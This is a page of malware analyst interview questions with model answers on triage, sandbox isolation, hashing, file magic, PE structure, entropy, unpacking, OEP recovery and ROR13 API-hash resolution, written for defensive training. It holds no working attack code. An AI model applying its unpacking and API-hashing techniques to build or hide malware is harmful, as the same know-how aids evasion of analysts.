Top 100 Malware Analyst Interview Questions and Answers
The questions most likely to come up in your Malware Analyst interview, ranked by likelihood, with senior-level answers that cover what the interviewer is listening for.
Curated: · Written: · Reviewed: —
Q&A-1Walk me through how you triage an unknown sample from receipt and hashing to a final verdict?
The 90-second answer
I treat receipt as evidence handling, not just opening a file. I log source, time, and chain of custody, hash the sample before I execute or rename it, and work only on a copy in an isolated lab. From the hash and file type I decide whether static analysis will answer the question, then I run the sample in a sandbox with network simulation and capture what it does, not what it claims to do. The verdict is one of malicious, suspicious, or benign, with the behaviours and IOCs that support it, and a confidence level tied to what I actually observed.
Receipt and hashing
On receipt I record who submitted it, the original filename, and the delivery channel. I compute SHA-256 on the original and keep that as the identifier for the rest of the case. MD5 and SHA-1 are useful only for legacy lookups against threat intel feeds. I never rely on filename or extension.
import hashlib
from pathlib import Path
def sha256(path: Path) -> str:
h = hashlib.sha256()
with path.open("rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest()
print(sha256(Path("sample.bin")))
# e.g. 9f2c...a41b (64 hex chars, use this in the ticket and YARA rules)I then check the hash against internal repositories and public feeds, and run file or equivalent parsing to get the real format. A PE, ELF, Mach-O, script, or document each needs different tooling, so this step sets the path. I copy the sample to the lab VM, snapshot it, and disable shared folders and clipboard.
Static triage
Before execution I look at imports, strings, sections, and entropy. I want to know if it is packed, what APIs it can call, and whether it contains URLs, IPs, or registry keys. Entropy above about 7.2 bits per byte in a section usually means compression or encryption, which means strings will under-report behaviour.
| Check | Example result | What it tells me |
|---|---|---|
| File type | PE32+ x64, 1.8 MB | Windows target, use PE tooling |
| Entropy | .text 7.4, .rsrc 7.8 | Likely packed or encrypted payload |
| Imports | VirtualAlloc, WriteProcessMemory, CreateRemoteThread | Process injection capability |
| Strings | http://cdn-update[.]example/x, Software\\Microsoft\\Windows\\CurrentVersion\\Run | C2 candidate and persistence method |
| Sections | UPX0, UPX1 present | Try unpacking before judging imports |
If it is packed I unpack or dump from memory during dynamic analysis rather than guessing from the packed imports. I also extract embedded resources and check for a second stage. A small loader that drops a large payload is a different verdict from a single-stage sample.
Dynamic analysis
I run the copy in a VM with INetSim or a fakenet service, Wireshark, ProcMon, and a snapshot I can revert. I capture process tree, file and registry writes, and network connections for 3 to 5 minutes, including a reboot if persistence is suspected. I test common triggers: a delay, a specific filename, or a user interaction, because many samples sleep or check the environment.
What I record is concrete: child processes spawned, files written under %TEMP% or %APPDATA%, Run key added, DNS queries, and the actual HTTP or DNS payloads. If the sandbox shows no network activity I check whether it needs a real domain, a mutex, or a date trigger before calling it benign.
Verdict
I close with a classification and the evidence behind it. Malicious requires observed harmful behaviour or a known family match from code or behaviour, not just a hash hit on one feed. Suspicious means capabilities are present, such as injection APIs and encoded C2 strings, but execution did not complete. Benign needs a plausible legitimate purpose and no persistence, injection, or exfiltration in the trace.
I report the SHA-256, family if identified, behaviours with timestamps, network IOCs in defanged form, and any YARA rule I wrote from the strings or code I saw. I also state what I did not test, for example a trigger that requires a specific username, so the next analyst knows the limits of the verdict.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-2Which virtual network mode keeps a live malware sample from reaching the internet from an analysis VM?
The 90-second answer
Use host-only networking, or a fully isolated virtual network with no egress. Never bridged, and never NAT with a path to the internet. Host-only gives the VM a private link to the host for control and file transfer, and no route beyond it. A live sample can run, beacon, and fail to connect, but it cannot reach a real host or the internet.
That is the rule I apply before any detonation. If the VM is bridged, it gets an address on the lab LAN and can talk to other machines. If it is on NAT, it can usually reach the internet through the host. Both defeat the purpose of the lab.
How the modes compare
| Mode | VM address | Can reach internet | Can reach LAN hosts | Use for live sample |
|---|---|---|---|---|
| Bridged | Lab LAN address | Yes | Yes | No |
| NAT | Private, translated by host | Yes | No, by default | No |
| Host-only | Private, host only | No | Host only | Yes |
| Isolated / internal | Private, VM to VM only | No | No | Yes |
Host-only and isolated are the safe choices. Isolated is stricter because even the host is not reachable, which matters if the sample tries to attack the host over the host-only interface. I use isolated when the VM needs no host contact during the run, and host-only when I need to pull logs off the VM afterwards.
Checking the setting before detonation
I verify the mode in the VM settings rather than trusting memory, because a single click can switch a VM back to NAT. In VirtualBox the check is the network adapter panel. The equivalent check in a scripted setup looks like this:
# VirtualBox: confirm the adapter is host-only, not bridged or NAT
VBoxManage showvms | grep lab-07
VBoxManage showvminfo lab-07 --machinereadable | grep -i "nic1\|nat"
# Expected: nic1="host-only" and no NAT rule presentIf that output shows nat or bridged, I stop and fix it before running anything. I also confirm shared folders and clipboard sharing are off, since those are separate escape paths from the host even when the network is correct.
What I expect to see during a run
With host-only or isolated networking, the sample's connection attempts show up in the sinkhole logs or fail outright. That is the intended outcome. I can still observe DNS queries and HTTP requests the sample makes, because the sinkhole answers them, without any traffic leaving the lab. If I ever see the sample reach a real external address, the network mode was wrong, and I treat the run as compromised and revert the VM from a clean snapshot.
One setting, checked every time, is what keeps a live sample contained.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-3An intel feed gives you only an MD5 for a 2019 sample, your sandbox produces a SHA-256 for a repacked variant, and a vendor claims a SHA-1 match proves attribution: how do you use each hash, and where does each one mislead you?
The 90-second answer
Treat a hash as an exact byte identifier, nothing more. MD5 and SHA-1 still work for looking up a known file in a database, but neither proves that two files are related and neither should be trusted when an adversary controls the file. SHA-256 is the default for new sharing and for any decision where a collision would change the outcome. When the three disagree, believe the bytes you hashed yourself and investigate the difference, rather than averaging the verdicts.
What each algorithm buys you
| Algorithm | Output | Collision status | Practical use now |
|---|---|---|---|
| MD5 | 128 bit, 32 hex chars | Chosen-prefix collisions demonstrated and cheap to generate | Legacy lookup only: VirusTotal, old intel feeds, MISP events from before 2020 |
| SHA-1 | 160 bit, 40 hex chars | SHAttered in 2017 for identical-prefix, chosen-prefix attacks published in 2020 | Legacy lookup, some code signing and certificate contexts you cannot change |
| SHA-256 | 256 bit, 64 hex chars | No practical collision or preimage attack | Default for new intel, sandbox output, evidence logs |
The birthday bound explains the gap. Finding any collision takes roughly 2^64 operations for MD5 and 2^128 for SHA-256. At 10^12 hashes per second, a sustained effort, the MD5 bound is within reach of a motivated actor and the SHA-256 bound is not. That is why an attacker can craft two different PE files with the same MD5, for example a benign installer and a trojanised copy with a different payload, while the equivalent SHA-256 forgery remains theoretical.
How I compute and record them
Hash the file as received, in chunks, and record algorithm, value, file size and source together. A hash without size and provenance is hard to audit later.
# Python 3.11, checked against hashlib in the standard library
import hashlib
from pathlib import Path
def hashes(path: Path) -> dict[str, str]:
h = {name: hashlib.new(name) for name in ("md5", "sha1", "sha256")}
with path.open("rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
for digest in h.values():
digest.update(chunk)
return {name: d.hexdigest() for name, d in h.items()}On Windows, Get-FileHash sample.exe -Algorithm SHA256 does the same job. I avoid hashing a memory dump, an extracted resource or a single PE section and then comparing it to a whole-file hash from a feed. Those are different inputs and will never match, which is a common source of false negatives in triage.
Where each one misleads you
-
Repacking defeats all three. Change one byte, append an overlay, reorder PE sections or recompile with a new timestamp, and every hash changes completely. That avalanche effect is by design. A repacked variant of the same family will have a new MD5, SHA-1 and SHA-256, so a hash blocklist misses it. This is the normal case with commodity loaders and crypters, not an edge case.
-
MD5 and SHA-1 mislead on identity. If a feed contains only an MD5, I use it to retrieve candidate samples and then rehash them with SHA-256 before sharing onward. I do not treat an MD5 match as proof of sameness when the file came from an untrusted source, because a collision pair can be constructed deliberately. The same caution applies to SHA-1, with a higher cost to the attacker but a published method.
-
A match does not prove attribution. A vendor claiming a SHA-1 match proves a family link is overstating the evidence. A hash match proves byte identity for that file. Family, authorship and campaign links need behavioural, code or infrastructure overlap: imphash for import tables, ssdeep or TLSH for fuzzy similarity, YARA rules for code patterns, and network indicators. I have seen the same sample uploaded under three different family names because each vendor matched on a hash seen in a different sandbox.
-
Truncation and encoding cause silent errors. Feeds sometimes publish the first 8 or 12 hex characters, uppercase values, or a hash of the hash. An 8 character prefix is only 32 bits, so collisions become likely at scale. I expand truncated values by searching on the prefix and confirming the full hash and file size before acting.
Worked trace
Take a 2.4 MB sample. Its SHA-256 is a91f...c204. Flip one byte in a padding section and rehash. The new SHA-256 shares no predictable prefix with the old one, and ssdeep still scores the pair as highly similar because most blocks are unchanged. That contrast is the decision point: exact hashes say "different file", fuzzy hashes say "same lineage". I would report both, with the SHA-256 as the identifier for the new file and the fuzzy score as supporting evidence for the family link.
In practice I store SHA-256 as the primary key, keep MD5 and SHA-1 as legacy aliases for lookup, and never make a blocking or attribution decision on MD5 or SHA-1 alone.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-4A sample arrives named invoice.pdf but your sandbox expects an executable. How do you use magic bytes and headers to decide if it is PE, ELF, Mach-O, script, or firmware before running it?
The 90-second answer
I would not run it or rename it based on the filename. I read the first bytes, match them against known magic, then check the header that magic points to. That tells me which loader or parser to use next, and whether the file is lying about its type. A PDF should start with %PDF. If the first bytes are MZ, 7F ELF, a Mach-O magic, #!, or a firmware container magic, the name is wrong and I treat the header as the starting claim, not proof.
For a triage decision I only need three checks. First, magic at offset zero. Second, the fields immediately after it, such as architecture and header size, to confirm the magic parses. Third, whether the claimed sizes fit inside the file. If those pass, I hand the sample to the matching tool. If they fail, I keep it as an unknown blob and inspect it as raw data.
| Claimed type | Magic at offset 0 | Quick confirmation |
|---|---|---|
| PE | 4D 5A (MZ) | At 0x3C, a uint32 offset points to 50 45 00 00 (PE\0\0). Machine field then reads 0x8664 for x64 or 0x14C for x86. |
| ELF | 7F 45 4C 46 | Byte 4 is class (1 for 32-bit, 2 for 64-bit), byte 5 is endianness, and e_machine at offset 18 reads 62 for x86-64 or 183 for AArch64. |
| Mach-O | FE ED FA CE, CE FA ED FE, FE ED FA CF, CF FA ED FE, or fat CA FE BA BE | Next fields are cputype and filetype. Fat binaries list several architectures after the magic. |
| Script | 23 21 (#!) | The rest of line one names the interpreter, for example #!/bin/sh or #!/usr/bin/env python3. Batch and PowerShell files have no shebang, so I look for their opening tokens instead. |
| Firmware | No single magic. Common starts include uImage 27 05 19 56, TRX 48 44 52 30, SquashFS 68 73 71 73 | Header length and total size fields must fit in the file, and a CRC or hash field should match. Many images contain a kernel plus a filesystem at a later offset, so I scan for the next known magic if the first header ends early. |
A small Python check does this without trusting the extension:
import struct
def identify(data: bytes) -> str:
if data[:4] == b"\x7fELF":
e_machine = struct.unpack_from("<H", data, 18)[0]
return f"ELF, e_machine={e_machine}"
if data[:2] == b"MZ":
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
sig = data[e_lfanew:e_lfanew + 4]
return f"PE, signature={sig!r}"
if data[:4] in (b"\xfe\xed\xfa\xce", b"\xce\xfa\xed\xfe",
b"\xfe\xed\xfa\xcf", b"\xcf\xfa\xed\xfe"):
return "Mach-O thin"
if data[:4] == b"\xca\xfe\xba\xbe":
return "Mach-O fat"
if data[:2] == b"#!":
return "script: " + data.splitlines()[0].decode(errors="replace")
if data[:4] == b"\x27\x05\x19\x56":
return "uImage firmware"
return "unknown"Worked trace for the sample in the question, assuming the first 16 bytes are 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 and the uint32 at 0x3C is 0x80:
| Step | Reading | Decision |
|---|---|---|
| Offset 0 | MZ | Candidate PE, not a PDF |
Offset 0x3C | e_lfanew = 0x80 | Read signature at 0x80 |
Offset 0x80 | PE\0\0, machine 0x8664 | x64 PE. Send to a PE parser and a Windows sandbox, not a document viewer. |
Where this misleads me is deliberate spoofing. Malware can prepend MZ to a script, append a PE after a script header, or overwrite header fields so a simple parser crashes while the real loader still executes it. That is why I check that offsets and section sizes stay inside the file and compare the result with file output. If the two disagree, I trust the parsed header fields and the loader behaviour I observe in a sandbox over the magic alone. For firmware, a false SquashFS magic can appear inside compressed data, so I only accept it when the surrounding header size and checksum line up.
In short, magic bytes give me the first hypothesis in seconds. The next header fields decide whether I act on it.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-5Walk me through how you read a PE's headers, sections, imports, exports and resources to decide what a sample likely does?
The 90-second answer
I parse the PE in load order and treat each structure as a claim the loader will check, then look for where the claims disagree. DOS header and e_lfanew locate the NT headers. The COFF header tells me architecture and section count. The Optional header tells me entry point, image base, subsystem and which data directories are present. Section headers tell me how file bytes map into memory and whether a section is code, data or both. Imports tell me which Win32 APIs the sample is willing to name. Exports matter mainly for DLLs. Resources often carry the payload, config or the identity the author wanted me to believe.
A clean, boring PE from MSVC usually has five or six sections, an entry point in .text, imports spread across kernel32.dll, user32.dll and advapi32.dll, and a version resource that matches the compiler artefacts. A sample that breaks that pattern is not automatically malicious. It is telling me where to dig first.
Headers: what the loader sees
IMAGE_DOS_HEADER.e_magic should be MZ and e_lfanew at 0x3C should point inside the file to PE\0\0. If it does not, the file is not a normal PE or it is malformed on purpose. The COFF header gives Machine (0x14C for 32-bit x86, 0x8664 for x64), NumberOfSections, TimeDateStamp and Characteristics. I never trust the timestamp. Packers and builders set it to a fixed value, and malware authors forge it to look old. A timestamp in 2035 or a cluster of samples sharing the exact same value is a clustering hint, not a date.
The Optional header is where behaviour starts to show. Magic distinguishes PE32 from PE32+, AddressOfEntryPoint is the RVA the loader jumps to, Subsystem is usually 2 for GUI or 3 for console, and SizeOfImage should cover the last section. Data directories then point to imports, exports, resources, TLS callbacks and the debug directory. A TLS callback directory is worth noting because code can run before the entry point, which defeats a breakpoint set only on AddressOfEntryPoint.
# Python 3.11, pefile 2024.8.26
import pefile
pe = pefile.PE("sample.exe")
print(hex(pe.FILE_HEADER.Machine), pe.FILE_HEADER.NumberOfSections)
print(hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint))
for s in pe.sections:
print(s.Name.decode().strip("\x00"), hex(s.VirtualAddress),
round(s.get_entropy(), 2), hex(s.Characteristics))
for entry in pe.DIRECTORY_ENTRY_IMPORT:
print(entry.dll.decode(), [f.name.decode() for f in entry.imports[:5] if f.name])Sections: layout and packing signals
Each section header carries VirtualSize, VirtualAddress, SizeOfRawData, SizeOfRawData versus virtual size, and Characteristics flags such as IMAGE_SCN_MEM_EXECUTE (0x20000000), IMAGE_SCN_MEM_READ (0x40000000) and IMAGE_SCN_MEM_WRITE (0x80000000). I look for three things. First, entropy. A section above roughly 7.2 bits per byte with a small import table suggests compression or encryption. Second, permissions. Code that is both writable and executable, or data sections marked executable, is common in packers and shellcode loaders. Third, mismatch. SizeOfRawData much larger than VirtualSize can hide data past the loaded image, and a section whose raw data extends past the end of file is a parsing trap for tools that trust headers blindly.
Section names are hints only. .text, .data, .rsrc and .reloc are expected. .upx0, .upx1, a single .packed section, or random names point to a packer. Names can be spoofed, so I check the contents against the name. A section called .text with high entropy and no valid disassembly is not code in the usual sense.
| Observation | Likely reading | Next check |
|---|---|---|
| Entry point in a high entropy section, few imports | Packed or encrypted loader | Dump after unpacking, look for a second stage in memory |
One RWX section, imports only from kernel32.dll | Manual API resolution or shellcode | Trace LoadLibrary and GetProcAddress calls dynamically |
SizeOfRawData far exceeds VirtualSize | Overlay or hidden data in slack | Carve the extra bytes and hash them separately |
| Normal sections, rich imports, valid debug directory | Unpacked, possibly built with a standard toolchain | Compare debug path and PDB name against the version resource |
Imports and exports
The import directory lists DLLs and, for each, the functions resolved through the Import Address Table. I read it as a capability list. VirtualAlloc, WriteProcessMemory, CreateRemoteThread and NtUnmapViewOfSection together suggest process injection. CryptEncrypt, BCryptGenRandom and CryptStringToBinary suggest encryption or encoding. InternetOpen, WinHttpSendRequest, socket and connect suggest network activity. RegSetValueEx, CreateService and WMI related calls suggest persistence. A sample with almost no imports beyond kernel32.dll is usually resolving APIs by hash at runtime, so the import table tells me about the packer rather than the payload.
Delay-loaded imports and bound imports can hide the real set, and ordinal-only imports force a lookup in the target DLL. I note those cases instead of treating a short list as a clean bill of health. For a DLL, exports are the public surface. Export names such as DllRegisterServer, DllGetClassObject or a long list of ordinals with no names tell me how the DLL is meant to be loaded. Exported functions that are never referenced by the sample itself are often the entry points a loader or a rundll32 invocation will call.
Resources: payload and pretense
The resource directory is organised by type. RT_ICON and RT_GROUP_ICON show the icon the user sees. RT_MANIFEST shows the requested execution level and supported OS versions. RT_DIALOG, RT_STRING and RT_VERSION carry text, including the company and product name in version info. RT_RCDATA is the catch-all, and that is where embedded payloads, encrypted configs, scripts and second stage binaries usually live. I extract resources by type and hash them separately, because a resource blob can be the actual dropper while the main code is only a loader.
Version info is a common lie. A sample claiming to be a Microsoft product with no valid signature, a mismatched original filename, or a manifest requesting requireAdministrator while the version resource claims a system utility deserves a closer look. Conversely, a resource section that is empty in a GUI application, or a dialog resource with controls that the code never creates, can indicate a builder template or a partially stripped sample.
The failure mode I watch for is trusting any single field. Section names lie, timestamps lie, version resources lie, and import tables shrink under packing. The value comes from disagreement. When the header says one thing and the bytes say another, that gap is usually where the interesting behaviour lives.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-6In static analysis, what does a section entropy above about 7.2 usually indicate about that section?
The 90-second answer
Entropy above about 7.2 bits per byte usually means that section is compressed, encrypted, or packed rather than plain code or data. Shannon entropy measures how evenly bytes are spread across all 256 possible values. Plain x86 code is structured, so it scores around 6.0 to 6.8. Text, icons, and version info score lower, around 4.5 to 5.5. Compressed or encrypted data looks random, so its bytes spread almost evenly and the score climbs toward the maximum of 8.0.
That is a signal, not a verdict. A high score tells me to look for a packer or an encrypted payload and to expect the real code to appear only after unpacking. It does not by itself prove the file is malware.
How I check it
I compute entropy per section, not for the whole file, because one packed section can hide inside an otherwise normal binary. With pefile on Python 3.11:
import math
import pefile
def entropy(data: bytes) -> float:
if not data:
return 0.0
counts = [0] * 256
for b in data:
counts[b] += 1
n = len(data)
return -sum((c / n) * math.log2(c / n) for c in counts if c)
pe = pefile.PE("sample.exe")
for s in pe.sections:
name = s.Name.rstrip(b"\x00").decode(errors="replace")
print(name, round(entropy(s.get_data()), 3))A typical packed sample prints something like this (illustrative figures):
| Section | Size | Entropy | Reading |
|---|---|---|---|
| .text | 18 KB | 6.4 | Normal code, likely the unpacker stub |
| .data | 4 KB | 5.1 | Ordinary data |
| .packed | 210 KB | 7.85 | Compressed or encrypted payload |
| .rsrc | 30 KB | 5.6 | Icons and version info |
The .packed section at 7.85 stands out against the rest. I would then check the import table for VirtualAlloc and WriteProcessMemory, and run FLOSS to see whether strings appear only after decoding. Those checks confirm the entropy reading.
Where the rule misleads
Legitimate files also score high. Installers, updaters, and signed binaries carry compressed resources and certificates that naturally exceed 7.2, usually in .rsrc. A .NET assembly can score high in its metadata streams. So I only treat a high score as packing evidence when it sits in a code or data section, or when it appears alongside a thin import table and FLOSS-only strings. High entropy in .rsrc alone I ignore.
The reverse also holds. A score of 6.4 does not clear a file. A small hand-written loader can stay under 7.0 and still be malicious. Entropy answers one narrow question, whether a section looks random. I combine it with strings, FLOSS, and imports before I call a sample packed.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-7How do you use entropy measurement to distinguish a packed or encrypted section from normal code and data in a binary, and where does that signal mislead you?
The 90-second answer
I compute Shannon entropy per section and in sliding windows, then compare sections inside the same binary. Entropy alone never gives a verdict. A section near 8.0 bits per byte with an executable and writable characteristic, a sparse import table, and an entry point inside it is a strong packing signal. A high entropy resource section with no execute permission is usually compressed data, a certificate, or an embedded asset. The comparison inside the file matters more than any absolute threshold.
Shannon entropy for a byte distribution is:
H = -sum(p(b) * log2(p(b))) over byte values 0 to 255, where p(b) is the frequency of byte b. Uniform random data approaches 8.0. Typical x86 code sits around 6.0 to 6.8 because opcodes and operands repeat. Plain text and strings sit around 4.5 to 5.5. That gap is the signal.
Measuring it in practice
import math
from collections import Counter
def shannon_entropy(data: bytes) -> float:
if not data:
return 0.0
counts = Counter(data)
n = len(data)
return -sum((c / n) * math.log2(c / n) for c in counts.values())
def window_entropy(data: bytes, window: int = 1024, step: int = 256):
for off in range(0, max(1, len(data) - window + 1), step):
chunk = data[off:off + window]
yield off, shannon_entropy(chunk)For a PE I run this per section with pefile, record section size, characteristics, and entropy, then run a 1 KiB sliding window over the high entropy sections. A packed payload usually shows a sustained plateau above 7.5 across many consecutive windows. A single spike often means a small embedded blob. I also check the byte histogram and chi-square statistic. Encrypted or compressed data looks flat across all 256 values. XOR obfuscation with a single byte key also flattens the histogram, while a repeating multi-byte key or an additive encoding leaves periodic peaks that a histogram reveals even when entropy stays high.
Worked trace, hypothetical sample
| Section | Size | Characteristics | Entropy | Reading |
|---|---|---|---|---|
| .text | 84 KiB | execute, read | 6.4 | Normal code |
| .rdata | 31 KiB | read | 5.1 | Strings and imports |
| UPX0 | 12 KiB | read, write | 7.2 | Virtual section, low raw data |
| UPX1 | 210 KiB | execute, read, write | 7.94 | Packed payload, entry point here |
| .rsrc | 96 KiB | read | 7.85 | Compressed icon and dialog data |
The trap in that table is .rsrc. Its entropy matches the packed section. The difference is permission and context. .rsrc is not executed and the entry point is not in it. UPX1 is writable and executable, the import table has only a handful of functions such as LoadLibrary and VirtualAlloc, and the entry point lands in UPX1. That combination points to a stub that decrypts in memory. I would then dump the section, look for a high entropy plateau in the sliding window output, and try the packer specific unpacker or run it in a sandbox and dump the unpacked image from memory.
Where entropy misleads
Small sections bias the result. A 128 byte section cannot reach 8.0 in practice because the sample is too small to cover the alphabet evenly, so I distrust entropy figures under about 1 KiB and weight larger sections more heavily. Whole file entropy dilutes the signal further. A 2 MB binary with a 40 KiB packed section can average out to a bland 6.9, which is why per section and windowed measurement replaces a single file number.
Legitimate high entropy content is common. Compressed resources, embedded certificates, digital signatures, random padding inserted by some linkers, and .NET assemblies with compressed metadata all score above 7.5. I treat those as expected when the section name, permissions, and references line up with that content.
Low entropy does not clear a sample either. A packer that encodes with a simple bytewise transform, a custom crypter that interleaves plaintext stubs, or malware that stores its payload as encoded text can sit at 6.5 or lower. Obfuscation of code, such as control flow flattening or junk insertion, often lowers entropy or leaves it unchanged because the byte distribution stays code like. Entropy detects compression and encryption well. It detects obfuscation poorly, and I pair it with import analysis, string extraction after decoding attempts, and dynamic dumping.
My rule in a report is to state the numbers, the section context, and the corroborating evidence. "Section entropy 7.94, executable and writable, entry point inside, 9 imports" is defensible. "High entropy, therefore packed" is not.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-8A PE has a 7.8 entropy .text section, only 9 imports including VirtualAlloc and GetProcAddress, and almost no readable strings. Is it more likely packed or obfuscated, and how would you recover the original code?
The 90-second answer
With that layout I would call it packed, not obfuscated, and I would plan to dump it from memory rather than try to read the file on disk. Obfuscation rewrites code that is already present in .text, so you can disassemble the real logic, even if it is ugly. Packing replaces the real code on disk with compressed or lightly encrypted data and a small stub that restores it at run time. The file you have is mostly stub plus blob. The original code only exists in memory after the stub runs.
A cryptor sits between the two. It also hides a payload behind a stub, but the payload is encrypted with a key or algorithm the stub carries, often different per sample. A generic unpacker will not reverse it. You have to recover the decryption routine and key, or capture the decrypted output.
Applying it to this sample
I would check the signals in this order, because entropy alone does not decide it.
import math
from collections import Counter
def entropy(data: bytes) -> float:
if not data:
return 0.0
counts = Counter(data)
n = len(data)
return -sum((c / n) * math.log2(c / n) for c in counts.values())Run that per section with pefile. A value above about 7.2 bits per byte means the section looks compressed or encrypted. In your sample .text at 7.8 fits packing or crypting. The next checks separate them from obfuscation.
| Check | Your sample | Obfuscated sample | Cryptor |
|---|---|---|---|
| --- | --- | --- | --- |
Code in .text on disk | No, entry point disassembles to stub code | Yes, entry point reaches real logic through junk blocks | No, entry point reaches decryptor stub |
| Imports | 9 total, including VirtualAlloc, WriteProcessMemory, GetProcAddress | Full table, often with hashed names resolved at run time | Stub imports plus crypto calls or a custom XOR or AES loop |
| Strings | Almost none readable | Many, but individually encoded | Almost none, except maybe a config or key |
| What restores the code | Decompression or simple decryption with no secret key | Nothing to restore, you simplify the existing code | Decryption with an embedded or derived key |
The import list is the giveaway here. A normal program needs dozens of imports. Nine imports centred on allocating memory, writing to it, and resolving other APIs by name is a stub that loads the real code after start. An obfuscated sample keeps its imports because its code is already there. It hides names and strings, it does not remove the code.
Recovery for a packed sample
In x64dbg I would break on VirtualAlloc and VirtualProtect, step through the stub, and watch where execution jumps outside the stub section. That jump is the original entry point. I dump memory there with Scylla or the debugger dump function, then rebuild the import table, since the dumped image has no valid imports on disk. I verify the dump by disassembling from the original entry point. If it reads as clean code with a normal prologue and the imports resolve, I have the right image.
If the section names or a marker match a known packer such as UPX, a dedicated unpacker is faster. I would still check the output the same way, because a packer can produce a dump that looks plausible but starts in stub code.
Where this goes wrong
The common failure is dumping too early. The stub may allocate memory, write a decoy, or check for a debugger and exit before the real transfer. A dump taken at the first WriteProcessMemory then contains stub data, and analysis of it wastes the rest of the session. I confirm the transfer by behaviour, for example the process making its first network connection or file write only after the jump.
If the same sample were a cryptor, this workflow would fail at the dump step. The decrypted payload might be written to a file, mapped as an image, or injected into another process, and the key might come from a config fetched at run time. I would then trace the decryption loop, capture the output buffer, and extract the key from the stub or from memory after it is derived. That extra step is the practical difference between packing and crypting, and it is why the classification has to happen before I choose a tool.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-9A PE has an empty import directory and its stub calls VirtualProtect before jumping to a new region: walk me through finding the OEP, dumping the image, and rebuilding imports?
The 90-second answer
For a single-stage packer, I let the stub run, catch the point where it finishes writing the real code and jumps to it, dump the module from memory at that point, then rebuild the import table from the API addresses the stub resolved while running. The on-disk file is mostly the stub, so static analysis of the file will not give me the real imports or entry point. Memory after unpacking will.
Assume a 32-bit PE, one high entropy section, an empty or stub-only Import Directory, and no second stage. That is the case I describe below. A multi-stage loader needs the same steps repeated for each stage.
Finding the original entry point
The stub has to make the unpacked code executable before it can jump to it. That usually means a call to VirtualProtect or VirtualAlloc with PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE, followed by a jump or call into the new region. I break on those APIs in x64dbg and inspect the return address.
| Step | What I see | What I record |
|---|---|---|
Break on VirtualProtect | Stub changes a region from read-write to execute-read | The region base and size |
| Step over the call | Stub writes decoded bytes, then returns | The last write to that region |
| Next jump leaves the stub section | Control moves to an address inside the newly executable region | That target address, the OEP |
| Break at the target | Disassembly shows a normal prologue and references to data in the image | Confirmation this is real code, not another decrypt loop |
The key check is the jump itself. If execution reaches a page that was not executable when the process loaded, and the instruction that got there came from the stub, the destination is the OEP. I set a breakpoint there and continue. If the code after it resolves APIs or reads strings from the dumped image, I have the right point. If it immediately calls VirtualProtect again, it is another stage and I repeat the process.
Dumping the image
At the OEP I dump the main module from memory with Scylla or the debugger dump function. The raw dump needs header fixes before it will run or load in a disassembler. In memory sections are page aligned, often 0x1000, while FileAlignment on disk is commonly 0x200. I set each section's SizeOfRawData to its VirtualSize rounded up to FileAlignment, set AddressOfEntryPoint to the OEP offset from the image base, and restore section names if the packer wiped them. I dump the whole image, not just the unpacked section, because imports and resources may live in other sections.
A fast check: disassemble from the OEP in the dumped file. Readable instructions and references to strings inside the image mean the dump timing was right. High entropy noise means I dumped during the decrypt loop, before the stub finished.
Rebuilding imports
The stub usually resolves the APIs the real code needs by calling LoadLibrary and GetProcAddress and storing the returned addresses in a table. Scylla can rebuild a standard Import Directory when that table is a normal IAT. When the stub used hashed names or a custom thunk table, I trace the resolver instead.
# Map a ROR13 API hash to a name, Python 3.11
# Stub code hashes the module name, then the API name
def ror13(value):
return ((value >> 13) | (value << 19)) & 0xFFFFFFFF
def api_hash(module, api):
h = 0
for ch in module.upper() + "\x00":
h = (ror13(h) + ord(ch)) & 0xFFFFFFFF
for ch in api + "\x00":
h = (ror13(h) + ord(ch)) & 0xFFFFFFFF
return h
print(hex(api_hash("kernel32.dll", "VirtualAlloc")))I log every GetProcAddress call with its arguments and return value, resolve hashes with a script like the one above, and group results by DLL. Then I write a new Import Directory: one descriptor per DLL, OriginalFirstThunk pointing to thunk entries that hold the API name or ordinal, and FirstThunk pointing to the IAT slots the code calls. If the code calls through a custom table, I patch those slots to the rebuilt IAT entries.
I validate by running the rebuilt file in the sandbox and comparing its API trace with the original run. Missing imports show up as a crash on the first call to an unresolved thunk, and a dump taken too early shows up as the same decrypt loop running again. Both point back to the step that needs fixing, rather than a guess about the packer.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-10How do you tell a sample is UPX-packed, and how do you unpack it without running the original code?
The 90-second answer
UPX announces itself in the section names and in a tiny import table. A packed PE usually has sections called UPX0, UPX1 and sometimes UPX2, very few imports (often just LoadLibraryA and GetProcAddress), and the string UPX! or $Id: UPX in the binary. Entropy in the packed section is typically above 7.2 because the original code is compressed.
The safe route is to unpack a copy without executing it. upx -d decompresses the sections statically, so the original code never runs during unpacking. I do that on a copy inside an isolated VM, hash the copy first, and only run the unpacked file later in the sandbox if I need dynamic behaviour.
Identifying it in practice
I check three things in order, because each takes seconds:
- Section names with
pefileor PE-bear.UPX0withVirtualSizemuch larger thanSizeOfRawDatais the classic UPX stub layout. The original sections are compressed intoUPX1. - Imports. A normal program imports dozens of functions. A UPX-packed one imports a handful and resolves the rest at runtime after decompression.
- Strings.
strings sample.exe | grep -i upxfindsUPX0,UPX!and the UPX version banner. Other packers leave different tells, which is why I compare rather than guess from entropy alone.
# Checked against UPX 4.2 on Linux, sample is a copy in an isolated VM
sha256sum sample.exe
strings sample.exe | grep -i -E 'upx|packed'
upx -l sample.exe
upx -d sample.exe -o sample.unpacked.exe
